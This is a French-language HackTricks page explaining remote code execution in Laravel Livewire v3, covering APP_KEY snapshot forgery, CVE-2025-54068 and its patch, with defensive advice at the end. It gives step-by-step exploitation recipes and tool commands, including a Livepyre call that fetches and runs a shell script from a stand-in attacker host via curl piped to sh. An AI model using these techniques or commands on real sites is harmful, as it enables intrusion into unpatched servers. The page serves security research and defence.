Laravel Livewire Hydration & Synthesizer Abuse
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Récapitulatif de la machine d’état Livewire
Les composants Livewire 3 échangent leur état via des snapshots qui contiennent data, memo, et un checksum. Chaque POST vers /livewire/update réhydrate le snapshot JSON côté serveur et exécute les calls/updates en file d’attente.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Quiconque détient APP_KEY (utilisée pour dériver $hashKey) peut donc forger des snapshots arbitraires en recalculant le HMAC.
Les propriétés complexes sont encodées comme des synthetic tuples détectés par Livewire\Drawer\BaseUtils::isSyntheticTuple() ; chaque tuple est [value, {"s":"<key>", ...meta}]. Le cœur de hydration délègue simplement chaque tuple au synth sélectionné dans HandleComponents::$propertySynthesizers et parcourt récursivement les enfants :
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Cette conception récursive fait de Livewire un moteur générique d’instanciation d’objets dès qu’un attaquant contrôle soit les métadonnées du tuple, soit n’importe quel tuple imbriqué traité pendant la récursion.
Synthesizers qui accordent des primitives de gadget
| Synthesizer | Comportement contrôlé par l’attaquant |
|---|---|
CollectionSynth (clctn) | Instancie new $meta['class']($value) après avoir réhydraté chaque enfant. Toute classe avec un constructeur prenant un array peut être créée, et chaque élément peut lui-même être un tuple synthétique. |
FormObjectSynth (form) | Appelle new $meta['class']($component, $path), puis assigne chaque propriété publique à partir d’enfants contrôlés par l’attaquant via $hydrateChild. Des constructeurs acceptant deux paramètres faiblement typés (ou des arguments par défaut) suffisent pour atteindre des propriétés publiques arbitraires. |
ModelSynth (mdl) | Quand key est absent de meta, il exécute return new $class;, ce qui permet l’instanciation sans argument de toute classe sous le contrôle de l’attaquant. |
Comme les synths appellent $hydrateChild sur chaque élément imbriqué, des graphes de gadgets arbitraires peuvent être construits en empilant récursivement des tuples.
Forger des snapshots lorsque APP_KEY est connu
- Capturez une requête
/livewire/updatelégitime et décodercomponents[0].snapshot. - Injectez des tuples imbriqués qui pointent vers des classes gadget et recalculez
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Ré-encodez le snapshot, laissez
_token/memoinchangés, et rejouez la requête.
Une preuve d’exécution minimale utilise Guzzle’s FnStream et Flysystem’s ShardedPrefixPublicUrlGenerator. Un tuple instancie FnStream avec des données de constructeur { "__toString": "phpinfo" }, le suivant instancie ShardedPrefixPublicUrlGenerator avec [FnStreamInstance] comme $prefixes. Quand Flysystem caste chaque prefix en string, PHP invoque le callable __toString fourni par l’attaquant, appelant n’importe quelle fonction sans arguments.
Des appels de fonctions au RCE complet
En exploitant les primitives d’instanciation de Livewire, Synacktiv a adapté la chaîne Laravel/RCE4 de phpggc pour que la hydration démarre un objet dont l’état public Queueable déclenche la deserialization :
- Queueable trait – tout objet utilisant
Illuminate\Bus\Queueableexpose publiquement$chainedet exécuteunserialize(array_shift($this->chained))dansdispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) est instancié viaCollectionSynth/FormObjectSynthavec$chainedpublic renseigné. - phpggc Laravel/RCE4Adapted – le blob sérialisé stocké dans
$chained[0]construitPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()appelle finalementcall_user_func_array($closure, $args), ce qui permetsystem($cmd). - Stealth termination – en donnant un second callable
FnStreamtel que[new Laravel\Prompts\Terminal(), 'exit'], la requête se termine avecexit()au lieu d’une exception bruyante, gardant la réponse HTTP propre.
Automatiser la falsification de snapshot
synacktiv/laravel-crypto-killer fournit désormais un mode livewire qui assemble tout :
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
L’outil analyse le snapshot capturé, injecte les tuples gadget, recalcule le checksum, et affiche un payload /livewire/update prêt à envoyer.
CVE-2025-54068 – RCE sans APP_KEY
Selon l’avis du vendor, le problème affecte Livewire v3 (>= 3.0.0-beta.1 et <= 3.6.3) et est spécifique à v3.
updates sont fusionnés dans l’état du component après que le checksum du snapshot a été validé. Si une propriété dans le snapshot est (ou devient) un synthetic tuple, Livewire réutilise ses meta lors du hydrating de la valeur de update contrôlée par l’attaquant :
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Recette d’exploitation :
- Trouvez un composant Livewire avec une propriété publique non typée (par ex.
public $count;). - Envoyez une update qui définit cette propriété à
[]. Le snapshot suivant la stocke alors comme[[], {"s": "arr"}].
Un flux minimal de type-juggling ressemble à ceci :
POST /livewire/update
...
"updates": {"count": []}
Ensuite, le snapshot suivant stocke un tuple qui conserve les métadonnées du synth arr :
"count": [[], {"s": "arr"}]
- Fabriquez un autre payload
updatesoù cette propriété contient un tableau profondément imbriqué intégrant des tuples comme[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Pendant la récursion,
hydrate()évalue chaque enfant imbriqué indépendamment, donc les clés/classes synth choisies par l’attaquant sont prises en compte même si le tuple externe et le checksum n’ont jamais changé. - Réutilisez les mêmes primitives
CollectionSynth/FormObjectSynthpour instancier un gadget Queueable dont$chained[0]contient le payload phpggc. Livewire traite les updates forgées, appelledispatchNextJobInChain(), et atteintsystem(<cmd>)sans connaîtreAPP_KEY.
Raisons principales pour lesquelles cela fonctionne :
updatesne sont pas couverts par le checksum du snapshot.getMetaForPath()fait confiance aux métadonnées synth déjà présentes pour cette propriété, même si l’attaquant l’a auparavant forcée à devenir un tuple via un typage faible.- La récursion combinée au typage faible permet à chaque tableau imbriqué d’être interprété comme un nouveau tuple, de sorte que des clés synth arbitraires et des classes arbitraires atteignent finalement la phase de hydration.
Cible pre-auth à forte valeur : formulaires Filament
Les applications construites au-dessus de Livewire exposent souvent une surface pre-auth encore plus simple qu’une propriété de test public $count;. Par exemple, les pages de login Filament hydratent souvent un objet $form faiblement typé, déjà sérialisé comme un tuple form dans le snapshot. Cela supprime entièrement l’étape de mise en place « scalaire -> tableau -> tuple arr » :
- Le snapshot contient déjà quelque chose comme
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Un attaquant peut envoyer directement
updates.formavec des tuples malveillants imbriqués, car la récursion réinterprétera finalement des enfants tels que[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - C’est pourquoi les points d’entrée Livewire pre-auth qui exposent des objets
FormObjectSynthsont particulièrement intéressants : ils fournissent déjà à la fois l’instanciation et l’assignation de propriétés publiques.
Analyse du patch : conserver les métadonnées brutes pendant la récursion de l’update
La correction introduit un chemin dédié hydratePropertyUpdate() afin que les valeurs d’update imbriquées n’appellent plus hydrate($child, ...) de manière générique sur des enfants contrôlés par l’attaquant :
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Impact de sécurité du patch :
- Les mises à jour imbriquées sont revalidées à partir du chemin brut d’instantané d’origine au lieu de faire confiance à de nouvelles métadonnées de tuple fournies par l’attaquant.
- La hydration récursive ne permet plus aux enfants de redéfinir
souclassen cours d’exécution. - Cela bloque à la fois le basculement arbitraire de synthesizer et la sélection arbitraire de class à l’intérieur des tableaux de mises à jour imbriquées.
Livepyre – exploitation de bout en bout
Livepyre automatise à la fois la CVE sans APP_KEY et le chemin de signed-snapshot :
- Détecte la version Livewire déployée en analysant
<script src="/livewire/livewire.js?id=HASH">(ou?v=HASH) et en associant le hash aux versions vulnérables. - Collecte des snapshots de base en rejouant des actions bénignes et en extrayant
components[].snapshot. - Génère soit un payload
updates-only (CVE-2025-54068), soit un forged snapshot (APP_KEY connu) intégrant la chaîne phpggc. - Si aucun paramètre typé object n’est trouvé dans un snapshot, Livepyre retombe sur du brute-forcing de paramètres candidats pour atteindre une propriété coercible.
Utilisation typique :
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check exécute une sonde non destructive, -F ignore le version gating, -H et -P ajoutent des en-têtes personnalisés ou des proxies, et --function/--param personnalisent la fonction php invoquée par la gadget chain.
Considérations défensives
- Mettez à niveau vers des builds Livewire corrigés (>= 3.6.4 selon le bulletin du vendor) et déployez le patch du vendor pour CVE-2025-54068.
- Évitez les propriétés publiques faiblement typées dans les composants Livewire ; des types scalaires explicites empêchent que les valeurs de propriété soient coercées en arrays/tuples.
- N’enregistrez que les synthesizers dont vous avez réellement besoin et traitez les métadonnées contrôlées par l’utilisateur (
$meta['class']) comme non fiables. - Rejetez les mises à jour qui modifient le JSON type d’une propriété (par ex., scalar -> array) sauf si c’est explicitement autorisé, et régénérez les métadonnées synth au lieu de réutiliser des tuples obsolètes.
- Faites rapidement tourner
APP_KEYaprès toute divulgation, car il permet de forger des snapshots offline, quelle que soit la manière dont la code-base est corrigée.
Références
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


